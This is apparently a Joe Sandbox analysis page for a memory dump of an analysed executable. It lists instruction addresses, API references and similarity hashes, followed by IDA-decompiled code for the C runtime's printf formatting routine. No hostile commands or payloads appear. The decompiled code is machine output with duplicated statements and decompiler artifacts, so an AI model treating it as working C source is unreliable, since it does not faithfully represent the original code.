0x00427738
0x0042773e
0x00000000
0x00000000
0x00427740
0x00427740
0x00427743
0x00427749
0x00000000
0x00000000
0x0042774b
0x0042774b
0x0042774e
0x00427754
0x00000000
0x00000000
0x00427756
0x00427756
0x00427759
0x0042775f
0x00427763
0x00000000
0x00427763
0x00000000
0x0042775f
0x004276fc
0x004276fc
0x004276ff
0x00427706
0x00000000
0x00427708
0x0042770b
0x0042770e
0x00427711
0x00427714
0x0042771a
0x00000000
0x0042771a
0x00427706
0x004276cb
0x004276cb
0x004276ce
0x004276d5
0x00000000
0x004276d7
0x004276da
0x004276dd
0x004276e0
0x004276e3
0x004276e9
0x00000000
0x004276e9
0x00000000
0x00427774
0x00427777
0x0042777a
0x00000000
0x00000000
0x00427691
0x00427691
0x00427694
0x0042769a
0x004276b2
0x004276b5
0x004276b8
0x0042769c
0x0042769f
0x004276a2
0x004276a8
0x004276ad
0x004276ad
0x00000000
0x00000000
0x0042777f
0x00427782
0x00427787
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00427592
0x00427595
0x00427598
0x00000000
0x00000000
0x0042759d
0x004275a0
0x004275a5
0x00000000
0x00000000
0x00427587
0x00427587
0x0042758a
0x0042758d
0x00000000
0x00000000
0x0042757c
0x0042757f
0x00427582
0x00000000
0x00000000
0x004275aa
0x004275aa
0x004275ad
0x004275b0
0x00000000
0x00000000
0x004275b3
0x00000000
0x00000000
0x0042740d
0x004281de
0x004281e4
0x004281ed
0x004281f2
0x00000000
0x004281f2
0x00427fdd
0x00427fe3
0x00427fed
0x00428002
0x00428017
0x00428019
0x0042801d
0x0042801d
0x00428004
0x00428004
0x00428008
0x00428008
0x00427fef
0x00427fef
0x00427ff3
0x00427ff3
0x00427fed
0x0042802d
0x00428039
0x0042804f
0x00428054
0x00428054
0x0042806a
0x0042806f
0x00428078
0x00428096
0x0042809b
0x0042809b
0x004280a2
0x00428176
0x00428189
0x0042818e
0x00000000
0x004280b2
0x004280b2
0x004280b2
0x004280bf
0x004280c8
0x004280ce
0x004280ce
0x004280dd
0x004280e5
0x00000000
0x00000000
0x004280eb
0x004280f4
0x00428113
0x00428118
0x0042811b
0x0042812a
0x00428137
0x00428142
0x00428142
0x00000000
0x0042814e
0x0042814e
0x00428167
0x0042816c
0x00000000
0x0042816c
0x00428137
0x00428174
0x00428191
0x00428198
0x004281b6
0x004281bb
0x004281bb
0x00000000
0x00428198
0x0042778f
0x0042778f
0x00427796
0x0042779c
0x004277a2
0x004277a5
0x004277ab
0x004277be
0x004277be
0x004277c5
0x00000000
0x00427b1f
0x00427b1f
0x00427b26
0x00427b2d
0x00427b30
0x00000000
0x00000000
0x004277cc
0x004277cf
0x004277d5
0x004277da
0x004277df
0x004277df
0x00000000
0x00000000
0x0042790c
0x0042790f
0x00427914
0x00427919
0x0042791f
0x0042791f
0x00000000
0x00000000
0x00427cec
0x00427cec
0x00000000
0x00000000
0x00427876
0x00427876
0x00427882
0x0042788f
0x0042789d
0x0042789d
0x004278a3
0x004278a6
0x004278b2
0x00427907
0x00000000
0x00427907
0x00427891
0x00427891
0x0042789b
0x004278b7
0x004278ba
0x004278c0
0x004278e8
0x004278ef
0x004278f5
0x004278f8
0x004278fb
0x00427901
0x00427904
0x004278c2
0x004278c2
0x004278c8
0x004278cb
0x004278ce
0x004278d4
0x004278d7
0x004278da
0x004278dc
0x004278df
0x004278df
0x00000000
0x004278c0
0x00000000
0x00000000
0x00427b36
0x00427b39
0x00427b3c
0x00427b3f
0x00427b45
0x00427b48
0x00427b53
0x00427b5e
0x00427b62
0x00427b79
0x00427b80
0x00427b82
0x00427b82
0x00427b89
0x00427b90
0x00427ba1
0x00427bb0
0x00427bb7
0x00427bcd
0x00427bb9
0x00427bb9
0x00427bbc
0x00427bc2
0x00427bc8
0x00427bc8
0x00427bb7
0x00427bd7
0x00427bda
0x00427bdd
0x00427be0
0x00427be0
0x00427be3
0x00427be3
0x00427be6
0x00427bec
0x00427bf2
0x00427bfa
0x00427bfb
0x00427bfe
0x00427bff
0x00427c02
0x00427c03
0x00427c0a
0x00427c0b
0x00427c0e
0x00427c0f
0x00427c12
0x00427c13
0x00427c19
0x00427c1a
0x00427c28
0x00427c2a
0x00427c30
0x00427c36
0x00427c3e
0x00427c46
0x00427c47
0x00427c4a
0x00427c4b
0x00427c59
0x00427c5b
0x00427c5b
0x00427c5e
0x00427c68
0x00427c6d
0x00427c73
0x00427c75
0x00427c7d
0x00427c7e
0x00427c81
0x00427c82
0x00427c91
0x00427c93
0x00427c93
0x00427c73
0x00427c96
0x00427c99
0x00427c9f
0x00427ca4
0x00427caa
0x00427cb0
0x00427cb3
0x00427cb3
0x00427cb6
0x00427cc2
0x00000000
0x00427cc2
0x00427b64
0x00427b64
0x00427b6e
0x00000000
0x00000000
0x00427b70
0x00427b70
0x00000000
0x00427b70
0x00427b55
0x00427b55
0x00000000
0x00000000
0x004277e2
0x004277e5
0x004277eb
0x00427846
0x0042784e
0x00427855
0x0042785b
0x00427861
0x004277ed
0x004277ed
0x004277f7
0x004277fb
0x00427803
0x0042780a
0x00427817
0x0042781e
0x0042782a
0x00427837
0x00427839
0x00427839
0x00427840
0x00427868
0x0042786e
0x00000000
0x00000000
0x00427cca
0x00427ccd
0x00427cd0
0x00427cd3
0x00000000
0x00000000
0x00427a28
0x00427a28
0x00427a34
0x00427a41
0x00427aeb
0x00427aee
0x00427af1
0x00427b05
0x00427b0b
0x00427b11
0x00427af3
0x00427af3
0x00427b00
0x00427b00
0x00427b13
0x00000000
0x00427b13
0x00427a47
0x00427a47
0x00427a49
0x00427a57
0x00427a4b
0x00427a4b
0x00427a4b
0x00427a61
0x00427a67
0x00427a74
0x00427a76
0x00427a7b
0x00427a7d
0x00427a82
0x00427a87
0x00427a89
0x00427a8e
0x00427a94
0x00427a96
0x00427a96
0x00427a94
0x00427a9e
0x00427ae6
0x00000000
0x00427aa0
0x00427aa0
0x00427aa5
0x00427ac1
0x00427ac9
0x00427ad3
0x00427ad6
0x00427adb
0x00000000
0x00427adb
0x00000000
0x00427d2d
0x00427d2d
0x00427d37
0x00427d3d
0x00427d42
0x00427d48
0x00427d48
0x00000000
0x00000000
0x00427ce5
0x00427ce5
0x00000000
0x00000000
0x00427922
0x00427926
0x00427934
0x00427937
0x00427928
0x00427928
0x00427928
0x0042793d
0x00427943
0x00427949
0x00427955
0x0042795b
0x00427961
0x004279c8
0x004279cc
0x004279ce
0x004279d4
0x004279d4
0x004279d7
0x004279da
0x004279e0
0x004279e0
0x004279e0
0x004279ec
0x004279ef
0x004279f7
0x00000000
0x00000000
0x004279f9
0x004279f9
0x004279ff
0x00427a04
0x00000000
0x00000000
0x00427a06
0x00427a0c
0x00427a0f
0x00427a0f
0x00427a17
0x00427a1d
0x00427a20
0x00000000
0x00427963
0x00427963
0x00427967
0x00427969
0x0042796e
0x0042796e
0x00427971
0x00427978
0x0042797b
0x00427981
0x00427981
0x00427981
0x0042798d
0x00427990
0x00427998
0x00000000
0x00000000
0x0042799a
0x0042799a
0x004279a0
0x004279a5
0x00000000
0x00000000
0x004279a7
0x004279ad
0x004279b0
0x004279b0
0x004279b8
0x004279be
0x004279c1
0x004279c3
0x00427a23
0x00000000
0x00427a23
0x00000000
0x00000000
0x00000000
0x00427cf8
0x00427cf8
0x00427d02
0x00427d02
0x00427d0c
0x00427d12
0x00427d14
0x00427d1e
0x00427d21
0x00427d24
0x00427d24
0x00000000
0x00000000
0x00000000
0x00000000
0x004277c5
0x00427fd3
0x00427fd3
0x00427fd3
0x00427fd3
0x00427fd3
0x00427fd3
0x00427fd3
0x00427e30
0x00427e27
0x00427d4b
0x00427d4b
0x00427d4b

APIs

_get_int64_arg.LIBCMTD ref: 00427D59
_get_int64_arg.LIBCMTD ref: 00427D81
__aullrem.LIBCMT ref: 00427F26
__aulldiv.LIBCMT ref: 00427F48

Strings

9, xrefs: 00427F59

Memory Dump Source

Source File: 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.409537880.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.409607278.0000000000440000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409647814.000000000055A000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409667552.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_B55D.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: cd2cfd6f4318f5a0225f11cb0a853ca8bb39c7e2334494b0ad3806e4e6a6f94f
Instruction ID: dec7d407284e11dae655abce47fffd500d7eb8c54356aa9a918469aa95b09d6a
Opcode Fuzzy Hash: cd2cfd6f4318f5a0225f11cb0a853ca8bb39c7e2334494b0ad3806e4e6a6f94f
Instruction Fuzzy Hash: 3F41E371E082299FDB64DF48D989BAEB7B5BF44300F5045DAE009A7200C738AE80CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00434F4B, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00434F4B(intOrPtr __ebx, signed int __edx, intOrPtr __edi, intOrPtr __esi) {
				signed int _t496;
				signed int _t518;
				void* _t523;
				signed int _t525;
				void* _t545;
				signed int _t563;
				signed int _t580;
				signed short _t581;
				signed int _t584;
				signed int _t587;
				signed int _t588;
				intOrPtr _t589;
				signed int _t609;
				signed int _t645;
				signed int _t647;
				signed int _t649;
				signed int _t656;
				signed int _t696;
				intOrPtr _t697;
				intOrPtr _t698;
				signed int _t699;
				void* _t701;
				void* _t702;
				signed int _t710;

				L0:
				while(1) {
					L0:
					_t698 = __esi;
					_t697 = __edi;
					_t645 = __edx;
					_t589 = __ebx;
					 *(_t699 - 8) = 0xa;
					L153:
					while(1) {
						L153:
						while(1) {
							L153:
							while(1) {
								L153:
								if(( *(_t699 - 0x10) & 0x00008000) == 0) {
									_t647 =  *(_t699 - 0x10) & 0x00001000;
									if(_t647 == 0) {
										if(( *(_t699 - 0x10) & 0x00000020) == 0) {
											_t649 =  *(_t699 - 0x10) & 0x00000040;
											if(_t649 == 0) {
												_t496 = E00428310(_t699 + 0x14);
												_t702 = _t701 + 4;
												 *(_t699 - 0x2b8) = _t496;
												 *(_t699 - 0x2b4) = 0;
											} else {
												_t580 = E00428310(_t699 + 0x14);
												_t702 = _t701 + 4;
												asm("cdq");
												 *(_t699 - 0x2b8) = _t580;
												 *(_t699 - 0x2b4) = _t649;
											}
										} else {
											_t696 =  *(_t699 - 0x10) & 0x00000040;
											if(_t696 == 0) {
												_t581 = E00428310(_t699 + 0x14);
												_t702 = _t701 + 4;
												asm("cdq");
												 *(_t699 - 0x2b8) = _t581 & 0x0000ffff;
												 *(_t699 - 0x2b4) = _t696;
											} else {
												_t584 = E00428310(_t699 + 0x14);
												_t702 = _t701 + 4;
												asm("cdq");
												 *(_t699 - 0x2b8) = _t584;
												 *(_t699 - 0x2b4) = _t696;
											}
										}
									} else {
										_t587 = E00428330(_t699 + 0x14);
										_t702 = _t701 + 4;
										 *(_t699 - 0x2b8) = _t587;
										 *(_t699 - 0x2b4) = _t647;
									}
								} else {
									_t588 = E00428330(_t699 + 0x14);
									_t702 = _t701 + 4;
									 *(_t699 - 0x2b8) = _t588;
									 *(_t699 - 0x2b4) = _t645;
								}
								if(( *(_t699 - 0x10) & 0x00000040) == 0) {
									L170:
									 *(_t699 - 0x2c0) =  *(_t699 - 0x2b8);
									 *(_t699 - 0x2bc) =  *(_t699 - 0x2b4);
									goto L171;
								} else {
									L166:
									_t710 =  *(_t699 - 0x2b4);
									if(_t710 > 0 || _t710 >= 0 &&  *(_t699 - 0x2b8) >= 0) {
										goto L170;
									} else {
										L169:
										asm("adc edx, 0x0");
										 *(_t699 - 0x2c0) =  ~( *(_t699 - 0x2b8));
										 *(_t699 - 0x2bc) =  ~( *(_t699 - 0x2b4));
										 *(_t699 - 0x10) =  *(_t699 - 0x10) | 0x00000100;
										L171:
										if(( *(_t699 - 0x10) & 0x00008000) == 0 && ( *(_t699 - 0x10) & 0x00001000) == 0) {
											 *(_t699 - 0x2bc) =  *(_t699 - 0x2bc) & 0x00000000;
										}
										if( *(_t699 - 0x30) >= 0) {
											 *(_t699 - 0x10) =  *(_t699 - 0x10) & 0xfffffff7;
											if( *(_t699 - 0x30) > 0x200) {
												 *(_t699 - 0x30) = 0x200;
											}
										} else {
											 *(_t699 - 0x30) = 1;
										}
										if(( *(_t699 - 0x2c0) |  *(_t699 - 0x2bc)) == 0) {
											 *(_t699 - 0x1c) = 0;
										}
										 *((intOrPtr*)(_t699 - 4)) = _t699 - 0x49;
										while(1) {
											L181:
											_t655 =  *(_t699 - 0x30) - 1;
											 *(_t699 - 0x30) =  *(_t699 - 0x30) - 1;
											if( *(_t699 - 0x30) <= 0 && ( *(_t699 - 0x2c0) |  *(_t699 - 0x2bc)) == 0) {
												break;
											}
											L183:
											asm("cdq");
											_t656 =  *(_t699 - 0x2c0);
											 *((intOrPtr*)(_t699 - 0x2ac)) = E00430740(_t656,  *(_t699 - 0x2bc),  *(_t699 - 8), _t655) + 0x30;
											asm("cdq");
											 *(_t699 - 0x2c0) = E004307C0( *(_t699 - 0x2c0),  *(_t699 - 0x2bc),  *(_t699 - 8), _t656);
											 *(_t699 - 0x2bc) = _t656;
											if( *((intOrPtr*)(_t699 - 0x2ac)) > 0x39) {
												 *((intOrPtr*)(_t699 - 0x2ac)) =  *((intOrPtr*)(_t699 - 0x2ac)) +  *((intOrPtr*)(_t699 - 0x260));
											}
											 *((char*)( *((intOrPtr*)(_t699 - 4)))) =  *((intOrPtr*)(_t699 - 0x2ac));
											 *((intOrPtr*)(_t699 - 4)) =  *((intOrPtr*)(_t699 - 4)) - 1;
										}
										L186:
										 *((intOrPtr*)(_t699 - 0x24)) = _t699 - 0x49 -  *((intOrPtr*)(_t699 - 4));
										 *((intOrPtr*)(_t699 - 4)) =  *((intOrPtr*)(_t699 - 4)) + 1;
										if(( *(_t699 - 0x10) & 0x00000200) != 0 && ( *((intOrPtr*)(_t699 - 0x24)) == 0 ||  *((char*)( *((intOrPtr*)(_t699 - 4)))) != 0x30)) {
											 *((intOrPtr*)(_t699 - 4)) =  *((intOrPtr*)(_t699 - 4)) - 1;
											 *((char*)( *((intOrPtr*)(_t699 - 4)))) = 0x30;
											 *((intOrPtr*)(_t699 - 0x24)) =  *((intOrPtr*)(_t699 - 0x24)) + 1;
										}
										L190:
										while(1) {
											L190:
											while(1) {
												L190:
												while(1) {
													L190:
													while(1) {
														L190:
														while(1) {
															L190:
															while(1) {
																L190:
																while(1) {
																	do {
																		L190:
																		if( *((intOrPtr*)(_t699 - 0x28)) != 0) {
																			L216:
																			if( *(_t699 - 0x20) != 0) {
																				L0041C4F0( *(_t699 - 0x20), 2);
																				_t702 = _t702 + 8;
																				 *(_t699 - 0x20) = 0;
																			}
																			while(1) {
																				L218:
																				 *(_t699 - 0x251) =  *( *(_t699 + 0xc));
																				_t663 =  *(_t699 - 0x251);
																				 *(_t699 + 0xc) =  *(_t699 + 0xc) + 1;
																				if( *(_t699 - 0x251) == 0 ||  *(_t699 - 0x24c) < 0) {
																					break;
																				} else {
																					if( *(_t699 - 0x251) < 0x20 ||  *(_t699 - 0x251) > 0x78) {
																						 *(_t699 - 0x310) = 0;
																					} else {
																						 *(_t699 - 0x310) =  *( *(_t699 - 0x251) +  &M00407E18) & 0xf;
																					}
																				}
																				L7:
																				 *(_t699 - 0x250) =  *(_t699 - 0x310);
																				_t525 =  *(_t699 - 0x250) * 9;
																				_t609 =  *(_t699 - 0x25c);
																				_t663 = ( *(_t525 + _t609 + 0x407e38) & 0x000000ff) >> 4;
																				 *(_t699 - 0x25c) = ( *(_t525 + _t609 + 0x407e38) & 0x000000ff) >> 4;
																				if( *(_t699 - 0x25c) != 8) {
																					L16:
																					 *(_t699 - 0x318) =  *(_t699 - 0x25c);
																					if( *(_t699 - 0x318) > 7) {
																						continue;
																					}
																					L17:
																					switch( *((intOrPtr*)( *(_t699 - 0x318) * 4 +  &M00435520))) {
																						case 0:
																							L18:
																							 *(_t699 - 0xc) = 0;
																							_t528 = E004311D0( *(_t699 - 0x251) & 0x000000ff, E0041AE00(_t699 - 0x40));
																							_t705 = _t702 + 8;
																							if(_t528 == 0) {
																								L24:
																								E00435630( *(_t699 - 0x251) & 0x000000ff,  *(_t699 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t699 + 8)), _t699 - 0x24c);
																								_t702 = _t705 + 0xc;
																								goto L218;
																							} else {
																								E00435630( *((intOrPtr*)(_t699 + 8)),  *(_t699 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t699 + 8)), _t699 - 0x24c);
																								_t705 = _t705 + 0xc;
																								_t614 =  *( *(_t699 + 0xc));
																								 *(_t699 - 0x251) =  *( *(_t699 + 0xc));
																								_t663 =  *(_t699 + 0xc) + 1;
																								 *(_t699 + 0xc) = _t663;
																								asm("sbb eax, eax");
																								 *(_t699 - 0x27c) =  ~( ~( *(_t699 - 0x251)));
																								if(_t663 == 0) {
																									_push(L"(ch != _T(\'\\0\'))");
																									_push(0);
																									_push(0x486);
																									_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																									_push(2);
																									_t540 = L0041E330();
																									_t705 = _t705 + 0x14;
																									if(_t540 == 1) {
																										asm("int3");
																									}
																								}
																								L22:
																								if( *(_t699 - 0x27c) != 0) {
																									goto L24;
																								} else {
																									 *((intOrPtr*)(L00422E20(_t614))) = 0x16;
																									E00422BB0(_t589, _t614, _t697, _t698, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																									 *(_t699 - 0x2f4) = 0xffffffff;
																									E0041ADD0(_t699 - 0x40);
																									_t518 =  *(_t699 - 0x2f4);
																									goto L229;
																								}
																							}
																						case 1:
																							L25:
																							 *(__ebp - 0x2c) = 0;
																							__edx =  *(__ebp - 0x2c);
																							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																							__eax =  *(__ebp - 0x28);
																							 *(__ebp - 0x18) =  *(__ebp - 0x28);
																							__ecx =  *(__ebp - 0x18);
																							 *(__ebp - 0x1c) = __ecx;
																							 *(__ebp - 0x10) = 0;
																							 *(__ebp - 0x30) = 0xffffffff;
																							 *(__ebp - 0xc) = 0;
																							goto L218;
																						case 2:
																							L26:
																							__edx =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																							 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																							if( *(__ebp - 0x31c) > 0x10) {
																								goto L33;
																							}
																							L27:
																							__ecx =  *(__ebp - 0x31c);
																							_t72 = __ecx + 0x435558; // 0x498d04
																							__edx =  *_t72 & 0x000000ff;
																							switch( *((intOrPtr*)(( *_t72 & 0x000000ff) * 4 +  &M00435540))) {
																								case 0:
																									goto L30;
																								case 1:
																									goto L31;
																								case 2:
																									goto L29;
																								case 3:
																									goto L28;
																								case 4:
																									goto L32;
																								case 5:
																									goto L33;
																							}
																						case 3:
																							L34:
																							__edx =  *((char*)(__ebp - 0x251));
																							if( *((char*)(__ebp - 0x251)) != 0x2a) {
																								__eax =  *(__ebp - 0x18);
																								__eax =  *(__ebp - 0x18) * 0xa;
																								__ecx =  *((char*)(__ebp - 0x251));
																								_t96 = __ecx - 0x30; // -48
																								__edx = __eax + _t96;
																								 *(__ebp - 0x18) = __eax + _t96;
																							} else {
																								__eax = __ebp + 0x14;
																								 *(__ebp - 0x18) = E00428310(__ebp + 0x14);
																								if( *(__ebp - 0x18) < 0) {
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00000004;
																									 *(__ebp - 0x10) = __ecx;
																									 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																									 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																								}
																							}
																							goto L218;
																						case 4:
																							L40:
																							 *(__ebp - 0x30) = 0;
																							goto L218;
																						case 5:
																							L41:
																							__eax =  *((char*)(__ebp - 0x251));
																							if( *((char*)(__ebp - 0x251)) != 0x2a) {
																								 *(__ebp - 0x30) =  *(__ebp - 0x30) * 0xa;
																								_t107 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																								__ecx =  *(__ebp - 0x30) * 0xa + _t107;
																								 *(__ebp - 0x30) = __ecx;
																							} else {
																								__ecx = __ebp + 0x14;
																								 *(__ebp - 0x30) = E00428310(__ebp + 0x14);
																								if( *(__ebp - 0x30) < 0) {
																									 *(__ebp - 0x30) = 0xffffffff;
																								}
																							}
																							goto L218;
																						case 6:
																							L47:
																							__edx =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																							 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																							if( *(__ebp - 0x320) > 0x2e) {
																								L70:
																								goto L218;
																							}
																							L48:
																							__ecx =  *(__ebp - 0x320);
																							_t115 = __ecx + 0x435580; // 0x4d8e9003
																							__edx =  *_t115 & 0x000000ff;
																							switch( *((intOrPtr*)(( *_t115 & 0x000000ff) * 4 +  &M0043556C))) {
																								case 0:
																									L53:
																									__edx =  *(__ebp + 0xc);
																									__eax =  *( *(__ebp + 0xc));
																									if( *( *(__ebp + 0xc)) != 0x36) {
																										L56:
																										__edx =  *(__ebp + 0xc);
																										__eax =  *( *(__ebp + 0xc));
																										if( *( *(__ebp + 0xc)) != 0x33) {
																											L59:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc));
																											if( *( *(__ebp + 0xc)) == 0x64) {
																												L65:
																												L67:
																												goto L70;
																											}
																											L60:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx;
																											if( *__ecx == 0x69) {
																												goto L65;
																											}
																											L61:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc));
																											if(__ecx == 0x6f) {
																												goto L65;
																											}
																											L62:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc));
																											if( *( *(__ebp + 0xc)) == 0x75) {
																												goto L65;
																											}
																											L63:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx;
																											if( *__ecx == 0x78) {
																												goto L65;
																											}
																											L64:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc));
																											if(__ecx != 0x58) {
																												L66:
																												 *(__ebp - 0x25c) = 0;
																												goto L18;
																											}
																											goto L65;
																										}
																										L57:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *((char*)(__ecx + 1));
																										if( *((char*)(__ecx + 1)) != 0x32) {
																											goto L59;
																										}
																										L58:
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																										__ecx =  *(__ebp - 0x10);
																										__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																										 *(__ebp - 0x10) = __ecx;
																										goto L67;
																									}
																									L54:
																									__ecx =  *(__ebp + 0xc);
																									__edx =  *((char*)(__ecx + 1));
																									if( *((char*)(__ecx + 1)) != 0x34) {
																										goto L56;
																									}
																									L55:
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00008000;
																									 *(__ebp - 0x10) = __ecx;
																									goto L67;
																								case 1:
																									L68:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																									goto L70;
																								case 2:
																									L49:
																									__eax =  *(__ebp + 0xc);
																									__ecx =  *( *(__ebp + 0xc));
																									if(__ecx != 0x6c) {
																										__ecx =  *(__ebp - 0x10);
																										__ecx =  *(__ebp - 0x10) | 0x00000010;
																										 *(__ebp - 0x10) = __ecx;
																									} else {
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																									}
																									goto L70;
																								case 3:
																									L69:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									goto L70;
																								case 4:
																									goto L70;
																							}
																						case 7:
																							goto L71;
																						case 8:
																							L30:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																							goto L33;
																						case 9:
																							L31:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							goto L33;
																						case 0xa:
																							L29:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000001;
																							 *(__ebp - 0x10) = __ecx;
																							goto L33;
																						case 0xb:
																							L28:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							goto L33;
																						case 0xc:
																							L32:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000008;
																							 *(__ebp - 0x10) = __ecx;
																							goto L33;
																						case 0xd:
																							L33:
																							goto L218;
																					}
																				} else {
																					if(0 == 0) {
																						 *(_t699 - 0x314) = 0;
																					} else {
																						 *(_t699 - 0x314) = 1;
																					}
																					_t616 =  *(_t699 - 0x314);
																					 *(_t699 - 0x278) =  *(_t699 - 0x314);
																					if( *(_t699 - 0x278) == 0) {
																						_push(L"(\"Incorrect format specifier\", 0)");
																						_push(0);
																						_push(0x460);
																						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																						_push(2);
																						_t545 = L0041E330();
																						_t702 = _t702 + 0x14;
																						if(_t545 == 1) {
																							asm("int3");
																						}
																					}
																					L14:
																					if( *(_t699 - 0x278) != 0) {
																						goto L16;
																					} else {
																						 *((intOrPtr*)(L00422E20(_t616))) = 0x16;
																						E00422BB0(_t589, _t616, _t697, _t698, L"(\"Incorrect format specifier\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
																						 *(_t699 - 0x2f0) = 0xffffffff;
																						E0041ADD0(_t699 - 0x40);
																						_t518 =  *(_t699 - 0x2f0);
																						L229:
																						return E0042BC70(_t518, _t589,  *(_t699 - 0x48) ^ _t699, _t663, _t697, _t698);
																					}
																				}
																			}
																			L219:
																			if( *(_t699 - 0x25c) == 0 ||  *(_t699 - 0x25c) == 7) {
																				 *(_t699 - 0x334) = 1;
																			} else {
																				 *(_t699 - 0x334) = 0;
																			}
																			_t603 =  *(_t699 - 0x334);
																			 *(_t699 - 0x2e0) =  *(_t699 - 0x334);
																			if( *(_t699 - 0x2e0) == 0) {
																				_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
																				_push(0);
																				_push(0x8f5);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				_t523 = L0041E330();
																				_t702 = _t702 + 0x14;
																				if(_t523 == 1) {
																					asm("int3");
																				}
																			}
																			if( *(_t699 - 0x2e0) != 0) {
																				 *(_t699 - 0x300) =  *(_t699 - 0x24c);
																				E0041ADD0(_t699 - 0x40);
																				_t518 =  *(_t699 - 0x300);
																			} else {
																				 *((intOrPtr*)(L00422E20(_t603))) = 0x16;
																				E00422BB0(_t589, _t603, _t697, _t698, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
																				 *(_t699 - 0x2fc) = 0xffffffff;
																				E0041ADD0(_t699 - 0x40);
																				_t518 =  *(_t699 - 0x2fc);
																			}
																			goto L229;
																		}
																		L191:
																		if(( *(_t699 - 0x10) & 0x00000040) != 0) {
																			if(( *(_t699 - 0x10) & 0x00000100) == 0) {
																				if(( *(_t699 - 0x10) & 0x00000001) == 0) {
																					if(( *(_t699 - 0x10) & 0x00000002) != 0) {
																						 *((char*)(_t699 - 0x14)) = 0x20;
																						 *(_t699 - 0x1c) = 1;
																					}
																				} else {
																					 *((char*)(_t699 - 0x14)) = 0x2b;
																					 *(_t699 - 0x1c) = 1;
																				}
																			} else {
																				 *((char*)(_t699 - 0x14)) = 0x2d;
																				 *(_t699 - 0x1c) = 1;
																			}
																		}
																		 *((intOrPtr*)(_t699 - 0x2c4)) =  *((intOrPtr*)(_t699 - 0x18)) -  *((intOrPtr*)(_t699 - 0x24)) -  *(_t699 - 0x1c);
																		if(( *(_t699 - 0x10) & 0x0000000c) == 0) {
																			E004356D0(0x20,  *((intOrPtr*)(_t699 - 0x2c4)),  *((intOrPtr*)(_t699 + 8)), _t699 - 0x24c);
																			_t702 = _t702 + 0x10;
																		}
																		E00435710( *(_t699 - 0x1c), _t699 - 0x14,  *(_t699 - 0x1c),  *((intOrPtr*)(_t699 + 8)), _t699 - 0x24c);
																		_t702 = _t702 + 0x10;
